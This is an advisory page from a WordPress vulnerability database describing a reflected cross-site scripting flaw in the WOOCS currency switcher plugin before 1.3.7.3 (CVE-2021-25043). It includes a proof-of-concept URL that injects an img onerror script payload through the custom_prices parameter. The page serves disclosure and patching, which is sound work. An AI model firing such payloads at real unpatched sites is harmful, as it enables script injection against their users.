WordPress Plugin Vulnerabilities

WOOCS < 1.3.7.3 - Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape the custom_prices parameter before outputting it back in the response, leading to a Reflected Cross-Site Scripting issue

Proof of Concept

https://example.com/wp-admin/admin-ajax.php?action=woocs_get_custom_price_html&custom_prices[]=%3Cimg%20src%20onerror=alert(`XSS`)%3E

Affects Plugins

Plugin icon
woocommerce-currency-switcher
Fixed in 1.3.7.3

References

CVE
CVE-2021-25043
URL
https://plugins.trac.wordpress.org/changeset/2640621/woocommerce-currency-switcher

Classification

Type
XSS
OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79
CVSS
7.5 (high)

Miscellaneous

Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
https://kazet.cc/
Verified
Yes
WPVDB ID
8601bd21-becf-4809-8c11-d053d1121eae

Timeline

Publicly Published
2021-12-13 (about 2 years ago)
Added
2021-12-13 (about 2 years ago)
Last Updated
2022-04-11 (about 2 years ago)

Other

Published
Title
Published
2024-04-16
Title
HT Mega < 2.4.7 - Contributor+ Stored XSS via size
Published
2017-07-24
Title
Simple Custom CSS and JS <= 3.3 - Authenticated Cross-Site Scripting (XSS)
Published
2014-01-31
Title
Media File Renamer < 2.2.2 - Stored Cross-Site Scripting (XSS)
Published
2023-01-25
Title
Easy Social Box < 4.1.3 - Contributor+ Stored XSS via Shortcode
Published
2021-08-02
Title
VDZ Google Analytics or Google Tag Manager / GTM < 1.4.9 - Authenticated Stored XSS